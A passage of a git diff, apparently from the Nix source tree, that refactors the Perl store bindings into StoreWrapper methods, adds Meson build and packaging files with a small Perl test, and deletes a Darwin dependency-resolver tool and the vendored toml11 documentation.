e.what()); } -SV * queryPathHash(char * path) +SV * +StoreWrapper::queryPathHash(char * path) PPCODE: try { - auto s = store()->queryPathInfo(store()->parseStorePath(path))->narHash.to_string(Base32, true); + auto s = THIS->store->queryPathInfo(THIS->store->parseStorePath(path))->narHash.to_string(HashFormat::Nix32, true); XPUSHs(sv_2mortal(newSVpv(s.c_str(), 0))); } catch (Error & e) { croak("%s", e.what()); } -SV * queryDeriver(char * path) +SV * +StoreWrapper::queryDeriver(char * path) PPCODE: try { - auto info = store()->queryPathInfo(store()->parseStorePath(path)); + auto info = THIS->store->queryPathInfo(THIS->store->parseStorePath(path)); if (!info->deriver) XSRETURN_UNDEF; - XPUSHs(sv_2mortal(newSVpv(store()->printStorePath(*info->deriver).c_str(), 0))); + XPUSHs(sv_2mortal(newSVpv(THIS->store->printStorePath(*info->deriver).c_str(), 0))); } catch (Error & e) { croak("%s", e.what()); } -SV * queryPathInfo(char * path, int base32) +SV * +StoreWrapper::queryPathInfo(char * path, int base32) PPCODE: try { - auto info = store()->queryPathInfo(store()->parseStorePath(path)); + auto info = THIS->store->queryPathInfo(THIS->store->parseStorePath(path)); if (!info->deriver) XPUSHs(&PL_sv_undef); else - XPUSHs(sv_2mortal(newSVpv(store()->printStorePath(*info->deriver).c_str(), 0))); - auto s = info->narHash.to_string(base32 ? Base32 : Base16, true); + XPUSHs(sv_2mortal(newSVpv(THIS->store->printStorePath(*info->deriver).c_str(), 0))); + auto s = info->narHash.to_string(base32 ? HashFormat::Nix32 : HashFormat::Base16, true); XPUSHs(sv_2mortal(newSVpv(s.c_str(), 0))); mXPUSHi(info->registrationTime); mXPUSHi(info->narSize); AV * refs = newAV(); for (auto & i : info->references) - av_push(refs, newSVpv(store()->printStorePath(i).c_str(), 0)); + av_push(refs, newSVpv(THIS->store->printStorePath(i).c_str(), 0)); XPUSHs(sv_2mortal(newRV((SV *) refs))); AV * sigs = newAV(); for (auto & i : info->sigs) @@ -121,10 +164,11 @@ SV * queryPathInfo(char * path, int base32) croak("%s", e.what()); } -SV * queryRawRealisation(char * outputId) +SV * +StoreWrapper::queryRawRealisation(char * outputId) PPCODE: try { - auto realisation = store()->queryRealisation(DrvOutput::parse(outputId)); + auto realisation = THIS->store->queryRealisation(DrvOutput::parse(outputId)); if (realisation) XPUSHs(sv_2mortal(newSVpv(realisation->toJSON().dump().c_str(), 0))); else @@ -134,46 +178,50 @@ SV * queryRawRealisation(char * outputId) } -SV * queryPathFromHashPart(char * hashPart) +SV * +StoreWrapper::queryPathFromHashPart(char * hashPart) PPCODE: try { - auto path = store()->queryPathFromHashPart(hashPart); - XPUSHs(sv_2mortal(newSVpv(path ? store()->printStorePath(*path).c_str() : "", 0))); + auto path = THIS->store->queryPathFromHashPart(hashPart); + XPUSHs(sv_2mortal(newSVpv(path ? THIS->store->printStorePath(*path).c_str() : "", 0))); } catch (Error & e) { croak("%s", e.what()); } -SV * computeFSClosure(int flipDirection, int includeOutputs, ...) +SV * +StoreWrapper::computeFSClosure(int flipDirection, int includeOutputs, ...) PPCODE: try { StorePathSet paths; for (int n = 2; n < items; ++n) - store()->computeFSClosure(store()->parseStorePath(SvPV_nolen(ST(n))), paths, flipDirection, includeOutputs); + THIS->store->computeFSClosure(THIS->store->parseStorePath(SvPV_nolen(ST(n))), paths, flipDirection, includeOutputs); for (auto & i : paths) - XPUSHs(sv_2mortal(newSVpv(store()->printStorePath(i).c_str(), 0))); + XPUSHs(sv_2mortal(newSVpv(THIS->store->printStorePath(i).c_str(), 0))); } catch (Error & e) { croak("%s", e.what()); } -SV * topoSortPaths(...) +SV * +StoreWrapper::topoSortPaths(...) PPCODE: try { StorePathSet paths; - for (int n = 0; n < items; ++n) paths.insert(store()->parseStorePath(SvPV_nolen(ST(n)))); - auto sorted = store()->topoSortPaths(paths); + for (int n = 0; n < items; ++n) paths.insert(THIS->store->parseStorePath(SvPV_nolen(ST(n)))); + auto sorted = THIS->store->topoSortPaths(paths); for (auto & i : sorted) - XPUSHs(sv_2mortal(newSVpv(store()->printStorePath(i).c_str(), 0))); + XPUSHs(sv_2mortal(newSVpv(THIS->store->printStorePath(i).c_str(), 0))); } catch (Error & e) { croak("%s", e.what()); } -SV * followLinksToStorePath(char * path) +SV * +StoreWrapper::followLinksToStorePath(char * path) CODE: try { - RETVAL = newSVpv(store()->printStorePath(store()->followLinksToStorePath(path)).c_str(), 0); + RETVAL = newSVpv(THIS->store->printStorePath(THIS->store->followLinksToStorePath(path)).c_str(), 0); } catch (Error & e) { croak("%s", e.what()); } @@ -181,33 +229,38 @@ SV * followLinksToStorePath(char * path) RETVAL -void exportPaths(int fd, ...) +void +StoreWrapper::exportPaths(int fd, ...) PPCODE: try { StorePathSet paths; - for (int n = 1; n < items; ++n) paths.insert(store()->parseStorePath(SvPV_nolen(ST(n)))); + for (int n = 1; n < items; ++n) paths.insert(THIS->store->parseStorePath(SvPV_nolen(ST(n)))); FdSink sink(fd); - store()->exportPaths(paths, sink); + THIS->store->exportPaths(paths, sink); } catch (Error & e) { croak("%s", e.what()); } -void importPaths(int fd, int dontCheckSigs) +void +StoreWrapper::importPaths(int fd, int dontCheckSigs) PPCODE: try { FdSource source(fd); - store()->importPaths(source, dontCheckSigs ? NoCheckSigs : CheckSigs); + THIS->store->importPaths(source, dontCheckSigs ? NoCheckSigs : CheckSigs); } catch (Error & e) { croak("%s", e.what()); } -SV * hashPath(char * algo, int base32, char * path) +SV * +hashPath(char * algo, int base32, char * path) PPCODE: try { - Hash h = hashPath(parseHashType(algo), path).first; - auto s = h.to_string(base32 ? Base32 : Base16, false); + Hash h = hashPath( + PosixSourceAccessor::createAtRoot(path), + FileIngestionMethod::NixArchive, parseHashAlgo(algo)).first; + auto s = h.to_string(base32 ? HashFormat::Nix32 : HashFormat::Base16, false); XPUSHs(sv_2mortal(newSVpv(s.c_str(), 0))); } catch (Error & e) { croak("%s", e.what()); @@ -217,8 +270,8 @@ SV * hashPath(char * algo, int base32, char * path) SV * hashFile(char * algo, int base32, char * path) PPCODE: try { - Hash h = hashFile(parseHashType(algo), path); - auto s = h.to_string(base32 ? Base32 : Base16, false); + Hash h = hashFile(parseHashAlgo(algo), path); + auto s = h.to_string(base32 ? HashFormat::Nix32 : HashFormat::Base16, false); XPUSHs(sv_2mortal(newSVpv(s.c_str(), 0))); } catch (Error & e) { croak("%s", e.what()); @@ -228,8 +281,8 @@ SV * hashFile(char * algo, int base32, char * path) SV * hashString(char * algo, int base32, char * s) PPCODE: try { - Hash h = hashString(parseHashType(algo), s); - auto s = h.to_string(base32 ? Base32 : Base16, false); + Hash h = hashString(parseHashAlgo(algo), s); + auto s = h.to_string(base32 ? HashFormat::Nix32 : HashFormat::Base16, false); XPUSHs(sv_2mortal(newSVpv(s.c_str(), 0))); } catch (Error & e) { croak("%s", e.what()); @@ -239,8 +292,8 @@ SV * hashString(char * algo, int base32, char * s) SV * convertHash(char * algo, char * s, int toBase32) PPCODE: try { - auto h = Hash::parseAny(s, parseHashType(algo)); - auto s = h.to_string(toBase32 ? Base32 : Base16, false); + auto h = Hash::parseAny(s, parseHashAlgo(algo)); + auto s = h.to_string(toBase32 ? HashFormat::Nix32 : HashFormat::Base16, false); XPUSHs(sv_2mortal(newSVpv(s.c_str(), 0))); } catch (Error & e) { croak("%s", e.what()); @@ -278,56 +331,66 @@ int checkSignature(SV * publicKey_, SV * sig_, char * msg) RETVAL -SV * addToStore(char * srcPath, int recursive, char * algo) +SV * +StoreWrapper::addToStore(char * srcPath, int recursive, char * algo) PPCODE: try { - auto method = recursive ? FileIngestionMethod::Recursive : FileIngestionMethod::Flat; - auto path = store()->addToStore(std::string(baseNameOf(srcPath)), srcPath, method, parseHashType(algo)); - XPUSHs(sv_2mortal(newSVpv(store()->printStorePath(path).c_str(), 0))); + auto method = recursive ? ContentAddressMethod::Raw::NixArchive : ContentAddressMethod::Raw::Flat; + auto path = THIS->store->addToStore( + std::string(baseNameOf(srcPath)), + PosixSourceAccessor::createAtRoot(srcPath), + method, parseHashAlgo(algo)); + XPUSHs(sv_2mortal(newSVpv(THIS->store->printStorePath(path).c_str(), 0))); } catch (Error & e) { croak("%s", e.what()); } -SV * makeFixedOutputPath(int recursive, char * algo, char * hash, char * name) +SV * +StoreWrapper::makeFixedOutputPath(int recursive, char * algo, char * hash, char * name) PPCODE: try { - auto h = Hash::parseAny(hash, parseHashType(algo)); - auto method = recursive ? FileIngestionMethod::Recursive : FileIngestionMethod::Flat; - auto path = store()->makeFixedOutputPath(method, h, name); - XPUSHs(sv_2mortal(newSVpv(store()->printStorePath(path).c_str(), 0))); + auto h = Hash::parseAny(hash, parseHashAlgo(algo)); + auto method = recursive ? FileIngestionMethod::NixArchive : FileIngestionMethod::Flat; + auto path = THIS->store->makeFixedOutputPath(name, FixedOutputInfo { + .method = method, + .hash = h, + .references = {}, + }); + XPUSHs(sv_2mortal(newSVpv(THIS->store->printStorePath(path).c_str(), 0))); } catch (Error & e) { croak("%s", e.what()); } -SV * derivationFromPath(char * drvPath) +SV * +StoreWrapper::derivationFromPath(char * drvPath) PREINIT: HV *hash; CODE: try { - Derivation drv = store()->derivationFromPath(store()->parseStorePath(drvPath)); + Derivation drv = THIS->store->derivationFromPath(THIS->store->parseStorePath(drvPath)); hash = newHV(); HV * outputs = newHV(); - for (auto & i : drv.outputsAndOptPaths(*store())) { + for (auto & i : drv.outputsAndOptPaths(*THIS->store)) { hv_store( outputs, i.first.c_str(), i.first.size(), !i.second.second ? newSV(0) /* null value */ - : newSVpv(store()->printStorePath(*i.second.second).c_str(), 0), + : newSVpv(THIS->store->printStorePath(*i.second.second).c_str(), 0), 0); } hv_stores(hash, "outputs", newRV((SV *) outputs)); AV * inputDrvs = newAV(); - for (auto & i : drv.inputDrvs) - av_push(inputDrvs, newSVpv(store()->printStorePath(i.first).c_str(), 0)); // !!! ignores i->second + for (auto & i : drv.inputDrvs.map) + av_push(inputDrvs, newSVpv(THIS->store->printStorePath(i.first).c_str(), 0)); // !!! ignores i->second hv_stores(hash, "inputDrvs", newRV((SV *) inputDrvs)); AV * inputSrcs = newAV(); for (auto & i : drv.inputSrcs) - av_push(inputSrcs, newSVpv(store()->printStorePath(i).c_str(), 0)); + av_push(inputSrcs, newSVpv(THIS->store->printStorePath(i).c_str(), 0)); hv_stores(hash, "inputSrcs", newRV((SV *) inputSrcs)); hv_stores(hash, "platform", newSVpv(drv.platform.c_str(), 0)); @@ -351,20 +414,16 @@ SV * derivationFromPath(char * drvPath) RETVAL -void addTempRoot(char * storePath) +void +StoreWrapper::addTempRoot(char * storePath) PPCODE: try { - store()->addTempRoot(store()->parseStorePath(storePath)); + THIS->store->addTempRoot(THIS->store->parseStorePath(storePath)); } catch (Error & e) { croak("%s", e.what()); } -SV * getBinDir() - PPCODE: - XPUSHs(sv_2mortal(newSVpv(settings.nixBinDir.c_str(), 0))); - - SV * getStoreDir() PPCODE: XPUSHs(sv_2mortal(newSVpv(settings.nixStore.c_str(), 0))); diff --git a/perl/lib/Nix/Utils.pm b/src/perl/lib/Nix/Utils.pm similarity index 100% rename from perl/lib/Nix/Utils.pm rename to src/perl/lib/Nix/Utils.pm diff --git a/src/perl/lib/Nix/meson.build b/src/perl/lib/Nix/meson.build new file mode 100644 index 000000000..256e66096 --- /dev/null +++ b/src/perl/lib/Nix/meson.build @@ -0,0 +1,60 @@ +# Nix-Perl Scripts +#============================================================================ + + + +# Sources +#------------------------------------------------- + +nix_perl_store_xs = files('Store.xs') + +nix_perl_scripts = files( + 'CopyClosure.pm', + 'Manifest.pm', + 'SSH.pm', + 'Store.pm', + 'Utils.pm', +) + +foreach f : nix_perl_scripts + fs.copyfile(f) +endforeach + + +# Targets +#--------------------------------------------------- + +nix_perl_scripts += configure_file( + output : 'Config.pm', + input : 'Config.pm.in', + configuration : nix_perl_conf, +) + +nix_perl_store_cc = custom_target( + 'Store.cc', + output : 'Store.cc', + input : nix_perl_store_xs, + command : [xsubpp, '@INPUT@', '-output', '@OUTPUT@'], +) + +# Build Nix::Store Library +#------------------------------------------------- +nix_perl_store_lib = library( + 'Store', + sources : nix_perl_store_cc, + name_prefix : '', + prelink : true, # For C++ static initializers + install : true, + install_mode : 'rwxr-xr-x', + install_dir : join_paths(nix_perl_install_dir, 'auto', 'Nix', 'Store'), + dependencies : nix_perl_store_dep_list, +) + + +# Install Scripts +#--------------------------------------------------- +install_data( + nix_perl_scripts, + install_mode : 'rw-r--r--', + install_dir : join_paths(nix_perl_install_dir,'Nix'), +) diff --git a/src/perl/meson.build b/src/perl/meson.build new file mode 100644 index 000000000..dcb6a68a4 --- /dev/null +++ b/src/perl/meson.build @@ -0,0 +1,164 @@ +# Nix-Perl Meson build +#============================================================================ + + +# init project +#============================================================================ +project ( + 'nix-perl', + 'cpp', + version : files('.version'), + meson_version : '>= 1.1', + license : 'LGPL-2.1-or-later', +) + +# setup env +#------------------------------------------------- +fs = import('fs') +cpp = meson.get_compiler('cpp') +nix_perl_conf = configuration_data() +nix_perl_conf.set('PACKAGE_VERSION', meson.project_version()) + + +# set error arguments +#------------------------------------------------- +error_args = [ + '-Wdeprecated-copy', + '-Wdeprecated-declarations', + '-Werror=suggest-override', + '-Werror=unused-result', + '-Wignored-qualifiers', + '-Wno-duplicate-decl-specifier', + '-Wno-literal-suffix', + '-Wno-missing-field-initializers', + '-Wno-non-virtual-dtor', + '-Wno-pedantic', + '-Wno-pointer-bool-conversion', + '-Wno-reserved-user-defined-literal', + '-Wno-unknown-warning-option', + '-Wno-unused-parameter', + '-Wno-unused-variable', + '-Wno-variadic-macros', +] + +add_project_arguments( + cpp.get_supported_arguments(error_args), + language : 'cpp', +) + + +# set install directories +#------------------------------------------------- +prefix = get_option('prefix') +libdir = join_paths(prefix, get_option('libdir')) + +# Dependencies +#============================================================================ + +# Required Programs +#------------------------------------------------- +xz = find_program('xz') +xsubpp = find_program('xsubpp') +perl = find_program('perl') +curl = find_program('curl') +yath = find_program('yath', required : false) + +# Required Libraries +#------------------------------------------------- +bzip2_dep = dependency('bzip2') +curl_dep = dependency('libcurl') +libsodium_dep = dependency('libsodium') + +nix_store_dep = dependency('nix-store') + + +# Finding Perl Headers is a pain. as they do not have +# pkgconfig available, are not in a standard location, +# and are installed into a version folder. Use the +# Perl binary to give hints about perl include dir. +#------------------------------------------------- +perl_archname = run_command( + perl, '-e', 'use Config; print $Config{archname};', check: true).stdout() +perl_version = run_command( + perl, '-e', 'use Config; print $Config{version};', check: true).stdout() +perl_archlibexp = run_command( + perl, '-e', 'use Config; print $Config{archlibexp};', check: true).stdout() +perl_site_libdir = run_command( + perl, '-e', 'use Config; print $Config{installsitearch};', check: true).stdout() +nix_perl_install_dir = join_paths( + libdir, 'perl5', 'site_perl', perl_version, perl_archname) + + +# print perl hints for logs +#------------------------------------------------- +message('Perl archname: @0@'.format(perl_archname)) +message('Perl version: @0@'.format(perl_version)) +message('Perl archlibexp: @0@'.format(perl_archlibexp)) +message('Perl install site: @0@'.format(perl_site_libdir)) +message('Assumed Nix-Perl install dir: @0@'.format(nix_perl_install_dir)) + +# Now find perl modules +#------------------------------------------------- +perl_check_dbi = run_command( + perl, + '-e', 'use DBI; use DBD::SQLite;', + '-I@0@'.format(get_option('dbi_path')), + '-I@0@'.format(get_option('dbd_sqlite_path')), + check: true +) + +if perl_check_dbi.returncode() == 2 + error('The Perl modules DBI and/or DBD::SQLite are missing.') +else + message('Found Perl Modules: DBI, DBD::SQLite.') +endif + + + +# declare perl dependency +#------------------------------------------------- +perl_dep = declare_dependency( + dependencies : cpp.find_library( + 'perl', + has_headers : [ + join_paths(perl_archlibexp, 'CORE', 'perl.h'), + join_paths(perl_archlibexp, 'CORE', 'EXTERN.h')], + dirs : [ + join_paths(perl_archlibexp, 'CORE'), + ], + ), + include_directories : join_paths(perl_archlibexp, 'CORE'), +) + +# declare dependencies +#------------------------------------------------- +nix_perl_store_dep_list = [ + perl_dep, + bzip2_dep, + curl_dep, + libsodium_dep, + nix_store_dep, +] + +# # build +# #------------------------------------------------- +lib_dir = join_paths('lib', 'Nix') +subdir(lib_dir) + +if get_option('tests').enabled() + yath_rc_conf = configuration_data() + yath_rc_conf.set('lib_dir', lib_dir) + yath_rc = configure_file( + output : '.yath.rc', + input : '.yath.rc.in', + configuration : yath_rc_conf, + ) + subdir('t') + test( + 'nix-perl-test', + yath, + args : ['test'], + workdir : meson.current_build_dir(), + depends : [nix_perl_store_lib], + ) +endif diff --git a/src/perl/meson.options b/src/perl/meson.options new file mode 100644 index 000000000..9b5b6b1d9 --- /dev/null +++ b/src/perl/meson.options @@ -0,0 +1,27 @@ +# Nix-Perl build options +#============================================================================ + + +# compiler args +#============================================================================ + +option( + 'tests', + type : 'feature', + value : 'disabled', + description : 'run nix-perl tests') + + +# Location of Perl Modules +#============================================================================ +option( + 'dbi_path', + type : 'string', + value : '/usr', + description : 'path to perl::dbi') + +option( + 'dbd_sqlite_path', + type : 'string', + value : '/usr', + description : 'path to perl::dbd-SQLite') diff --git a/src/perl/package.nix b/src/perl/package.nix new file mode 100644 index 000000000..0b9343fba --- /dev/null +++ b/src/perl/package.nix @@ -0,0 +1,77 @@ +{ lib +, stdenv +, mkMesonDerivation +, perl +, perlPackages +, meson +, ninja +, pkg-config +, nix-store +, darwin +, version +, curl +, bzip2 +, libsodium +}: + +let + inherit (lib) fileset; +in + +perl.pkgs.toPerlModule (mkMesonDerivation (finalAttrs: { + pname = "nix-perl"; + inherit version; + + workDir = ./.; + fileset = fileset.unions ([ + ./.version + ../../.version + ./MANIFEST + ./lib + ./meson.build + ./meson.options + ] ++ lib.optionals finalAttrs.doCheck [ + ./.yath.rc.in + ./t + ]); + + nativeBuildInputs = [ + meson + ninja + pkg-config + perl + curl + ]; + + buildInputs = [ + nix-store + bzip2 + libsodium + ]; + + # `perlPackages.Test2Harness` is marked broken for Darwin + doCheck = !stdenv.isDarwin; + + nativeCheckInputs = [ + perlPackages.Test2Harness + ]; + + preConfigure = + # "Inline" .version so its not a symlink, and includes the suffix + '' + chmod u+w .version + echo ${finalAttrs.version} > .version + ''; + + mesonFlags = [ + (lib.mesonOption "dbi_path" "${perlPackages.DBI}/${perl.libPrefix}") + (lib.mesonOption "dbd_sqlite_path" "${perlPackages.DBDSQLite}/${perl.libPrefix}") + (lib.mesonEnable "tests" finalAttrs.doCheck) + ]; + + mesonCheckFlags = [ + "--print-errorlogs" + ]; + + strictDeps = false; +})) diff --git a/src/perl/t/init.t b/src/perl/t/init.t new file mode 100644 index 000000000..80197e013 --- /dev/null +++ b/src/perl/t/init.t @@ -0,0 +1,13 @@ +use strict; +use warnings; +use Test2::V0; + +use Nix::Store; + +my $s = new Nix::Store("dummy://"); + +my $res = $s->isValidPath("/nix/store/g1w7hy3qg1w7hy3qg1w7hy3qg1w7hy3q-bar"); + +ok(!$res, "should not have path"); + +done_testing; diff --git a/src/perl/t/meson.build b/src/perl/t/meson.build new file mode 100644 index 000000000..dbd1139f3 --- /dev/null +++ b/src/perl/t/meson.build @@ -0,0 +1,15 @@ +# Nix-Perl Tests +#============================================================================ + + +# src +#--------------------------------------------------- + +nix_perl_tests = files( + 'init.t', +) + + +foreach f : nix_perl_tests + fs.copyfile(f) +endforeach diff --git a/src/resolve-system-dependencies/local.mk b/src/resolve-system-dependencies/local.mk deleted file mode 100644 index fc48a8417..000000000 --- a/src/resolve-system-dependencies/local.mk +++ /dev/null @@ -1,13 +0,0 @@ -ifdef HOST_DARWIN - programs += resolve-system-dependencies -endif - -resolve-system-dependencies_DIR := $(d) - -resolve-system-dependencies_INSTALL_DIR := $(libexecdir)/nix - -resolve-system-dependencies_CXXFLAGS += -I src/libutil -I src/libstore -I src/libmain - -resolve-system-dependencies_LIBS := libstore libmain libutil - -resolve-system-dependencies_SOURCES := $(d)/resolve-system-dependencies.cc diff --git a/src/resolve-system-dependencies/resolve-system-dependencies.cc b/src/resolve-system-dependencies/resolve-system-dependencies.cc deleted file mode 100644 index c6023eb03..000000000 --- a/src/resolve-system-dependencies/resolve-system-dependencies.cc +++ /dev/null @@ -1,194 +0,0 @@ -#include "derivations.hh" -#include "globals.hh" -#include "shared.hh" -#include "store-api.hh" -#include -#include -#include -#include -#include -#include -#include -#include - -#define DO_SWAP(x, y) ((x) ? OSSwapInt32(y) : (y)) - -using namespace nix; - -static auto cacheDir = Path{}; - -Path resolveCacheFile(Path lib) -{ - std::replace(lib.begin(), lib.end(), '/', '%'); - return cacheDir + "/" + lib; -} - -std::set readCacheFile(const Path & file) -{ - return tokenizeString>(readFile(file), "\n"); -} - -std::set runResolver(const Path & filename) -{ - AutoCloseFD fd = open(filename.c_str(), O_RDONLY); - if (!fd) - throw SysError("opening '%s'", filename); - - struct stat st; - if (fstat(fd.get(), &st)) - throw SysError("statting '%s'", filename); - - if (!S_ISREG(st.st_mode)) { - printError("file '%s' is not a regular MACH binary", filename); - return {}; - } - - if (st.st_size < sizeof(mach_header_64)) { - printError("file '%s' is too short for a MACH binary", filename); - return {}; - } - - char* obj = (char*) mmap(NULL, st.st_size, PROT_READ, MAP_SHARED, fd.get(), 0); - if (!obj) - throw SysError("mmapping '%s'", filename); - - ptrdiff_t mach64_offset = 0; - - uint32_t magic = ((mach_header_64*) obj)->magic; - if (magic == FAT_CIGAM || magic == FAT_MAGIC) { - bool should_swap = magic == FAT_CIGAM; - uint32_t narches = DO_SWAP(should_swap, ((fat_header *) obj)->nfat_arch); - for (uint32_t i = 0; i < narches; i++) { - fat_arch* arch = (fat_arch*) (obj + sizeof(fat_header) + sizeof(fat_arch) * i); - if (DO_SWAP(should_swap, arch->cputype) == CPU_TYPE_X86_64) { - mach64_offset = (ptrdiff_t) DO_SWAP(should_swap, arch->offset); - break; - } - } - if (mach64_offset == 0) { - printError("could not find any mach64 blobs in file '%1%', continuing...", filename); - return {}; - } - } else if (magic == MH_MAGIC_64 || magic == MH_CIGAM_64) { - mach64_offset = 0; - } else { - printError("Object file has unknown magic number '%1%', skipping it...", magic); - return {}; - } - - mach_header_64 * m_header = (mach_header_64 *) (obj + mach64_offset); - - bool should_swap = magic == MH_CIGAM_64; - ptrdiff_t cmd_offset = mach64_offset + sizeof(mach_header_64); - - std::set libs; - for (uint32_t i = 0; i < DO_SWAP(should_swap, m_header->ncmds); i++) { - load_command * cmd = (load_command *) (obj + cmd_offset); - switch(DO_SWAP(should_swap, cmd->cmd)) { - case LC_LOAD_UPWARD_DYLIB: - case LC_LOAD_DYLIB: - case LC_REEXPORT_DYLIB: - libs.insert(std::string((char *) cmd + ((dylib_command*) cmd)->dylib.name.offset)); - break; - } - cmd_offset += DO_SWAP(should_swap, cmd->cmdsize); - } - - return libs; -} - -bool isSymlink(const Path & path) -{ - return S_ISLNK(lstat(path).st_mode); -} - -Path resolveSymlink(const Path & path) -{ - auto target = readLink(path); - return hasPrefix(target, "/") - ? target - : concatStrings(dirOf(path), "/", target); -} - -std::set resolveTree(const Path & path, PathSet & deps) -{ - std::set results; - if (!deps.insert(path).second) return {}; - for (auto & lib : runResolver(path)) { - results.insert(lib); - for (auto & p : resolveTree(lib, deps)) { - results.insert(p); - } - } - return results; -} - -std::set getPath(const Path & path) -{ - if (hasPrefix(path, "/dev")) return {}; - - Path cacheFile = resolveCacheFile(path); - if (pathExists(cacheFile)) - return readCacheFile(cacheFile); - - std::set deps, paths; - paths.insert(path); - - Path nextPath(path); - while (isSymlink(nextPath)) { - nextPath = resolveSymlink(nextPath); - paths.insert(nextPath); - } - - for (auto & t : resolveTree(nextPath, deps)) - paths.insert(t); - - writeFile(cacheFile, concatStringsSep("\n", paths)); - - return paths; -} - -int main(int argc, char ** argv) -{ - return handleExceptions(argv[0], [&]() { - initNix(); - - struct utsname _uname; - - uname(&_uname); - - auto cacheParentDir = (format("%1%/dependency-maps") % settings.nixStateDir).str(); - - cacheDir = (format("%1%/%2%-%3%-%4%") - % cacheParentDir - % _uname.machine - % _uname.sysname - % _uname.release).str(); - - mkdir(cacheParentDir.c_str(), 0755); - mkdir(cacheDir.c_str(), 0755); - - auto store = openStore(); - - StringSet impurePaths; - - if (std::string(argv[1]) == "--test") - impurePaths.insert(argv[2]); - else { - auto drv = store->derivationFromPath(store->parseStorePath(argv[1])); - impurePaths = tokenizeString(getOr(drv.env, "__impureHostDeps", "")); - impurePaths.insert("/usr/lib/libSystem.dylib"); - } - - std::set allPaths; - - for (auto & path : impurePaths) - for (auto & p : getPath(path)) - allPaths.insert(p); - - std::cout << "extra-chroot-dirs" << std::endl; - for (auto & path : allPaths) - std::cout << path << std::endl; - std::cout << std::endl; - }); -} diff --git a/src/toml11/LICENSE b/src/toml11/LICENSE deleted file mode 100644 index f55c511d6..000000000 --- a/src/toml11/LICENSE +++ /dev/null @@ -1,21 +0,0 @@ -The MIT License (MIT) - -Copyright (c) 2017 Toru Niina - -Permission is hereby granted, free of charge, to any person obtaining a copy -of this software and associated documentation files (the "Software"), to deal -in the Software without restriction, including without limitation the rights -to use, copy, modify, merge, publish, distribute, sublicense, and/or sell -copies of the Software, and to permit persons to whom the Software is -furnished to do so, subject to the following conditions: - -The above copyright notice and this permission notice shall be included in -all copies or substantial portions of the Software. - -THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR -IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, -FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE -AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER -LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, -OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN -THE SOFTWARE. diff --git a/src/toml11/README.md b/src/toml11/README.md deleted file mode 100644 index 62b586305..000000000 --- a/src/toml11/README.md +++ /dev/null @@ -1,1966 +0,0 @@ -toml11 -====== - -[![Build Status on GitHub Actions](https://github.com/ToruNiina/toml11/workflows/build/badge.svg)](https://github.com/ToruNiina/toml11/actions) -[![Build Status on TravisCI](https://travis-ci.org/ToruNiina/toml11.svg?branch=master)](https://travis-ci.org/ToruNiina/toml11) -[![Build status on Appveyor](https://ci.appveyor.com/api/projects/status/m2n08a926asvg5mg/branch/master?svg=true)](https://ci.appveyor.com/project/ToruNiina/toml11/branch/master) -[![Build status on CircleCI](https://circleci.com/gh/ToruNiina/toml11/tree/master.svg?style=svg)](https://circleci.com/gh/ToruNiina/toml11/tree/master) -[![Version](https://img.shields.io/github/release/ToruNiina/toml11.svg?style=flat)](https://github.com/ToruNiina/toml11/releases) -[![License](https://img.shields.io/github/license/ToruNiina/toml11.svg?style=flat)](LICENSE) -[![DOI](https://zenodo.org/badge/DOI/10.5281/zenodo.1209136.svg)](https://doi.org/10.5281/zenodo.1209136) - -toml11 is a C++11 (or later) header-only toml parser/encoder depending only on C++ standard library. - -- It is compatible to the latest version of [TOML v1.0.0](https://toml.io/en/v1.0.0). -- It is one of the most TOML standard compliant libraries, tested with [the language agnostic test suite for TOML parsers by BurntSushi](https://github.com/BurntSushi/toml-test). -- It shows highly informative error messages. You can see the error messages about invalid files at [CircleCI](https://circleci.com/gh/ToruNiina/toml11). -- It has configurable container. You can use any random-access containers and key-value maps as backend containers. -- It optionally preserves comments without any overhead. -- It has configurable serializer that supports comments, inline tables, literal strings and multiline strings. -- It supports user-defined type conversion from/into toml values. -- It correctly handles UTF-8 sequences, with or without BOM, both on posix and Windows. - -## Example - -```cpp -#include -#include - -int main() -{ - // ```toml - // title = "an example toml file" - // nums = [3, 1, 4, 1, 5] - // ``` - auto data = toml::parse("example.toml"); - - // find a value with the specified type from a table - std::string title = toml::find(data, "title"); - - // convert the whole array into any container automatically - std::vector nums = toml::find>(data, "nums"); - - // access with STL-like manner - if(!data.contains("foo")) - { - data["foo"] = "bar"; - } - - // pass a fallback - std::string name = toml::find_or(data, "name", "not found"); - - // width-dependent formatting - std::cout << std::setw(80) << data << std::endl; - - return 0; -} -``` - -## Table of Contents - -- [Integration](#integration) -- [Decoding a toml file](#decoding-a-toml-file) - - [In the case of syntax error](#in-the-case-of-syntax-error) - - [Invalid UTF-8 Codepoints](#invalid-utf-8-codepoints) -- [Finding a toml value](#finding-a-toml-value) - - [Finding a value in a table](#finding-a-value-in-a-table) - - [In case of error](#in-case-of-error) - - [Dotted keys](#dotted-keys) -- [Casting a toml value](#casting-a-toml-value) -- [Checking value type](#checking-value-type) -- [More about conversion](#more-about-conversion) - - [Converting an array](#converting-an-array) - - [Converting a table](#converting-a-table) - - [Getting an array of tables](#getting-an-array-of-tables) - - [Cost of conversion](#cost-of-conversion) - - [Converting datetime and its variants](#converting-datetime-and-its-variants) -- [Getting with a fallback](#getting-with-a-fallback) -- [Expecting conversion](#expecting-conversion) -- [Visiting a toml::value](#visiting-a-tomlvalue) -- [Constructing a toml::value](#constructing-a-tomlvalue) -- [Preserving Comments](#preserving-comments) -- [Customizing containers](#customizing-containers) -- [TOML literal](#toml-literal) -- [Conversion between toml value and arbitrary types](#conversion-between-toml-value-and-arbitrary-types) -- [Formatting user-defined error messages](#formatting-user-defined-error-messages) -- [Obtaining location information](#obtaining-location-information) -- [Exceptions](#exceptions) -- [Colorize Error Messages](#colorize-error-messages) -- [Serializing TOML data](#serializing-toml-data) -- [Underlying types](#underlying-types) -- [Unreleased TOML features](#unreleased-toml-features) -- [Breaking Changes from v2](#breaking-changes-from-v2) -- [Running Tests](#running-tests) -- [Contributors](#contributors) -- [Licensing Terms](#licensing-terms) - -## Integration - -Just include the file after adding it to the include path. - -```cpp -#include // that's all! now you can use it. -#include - -int main() -{ - const auto data = 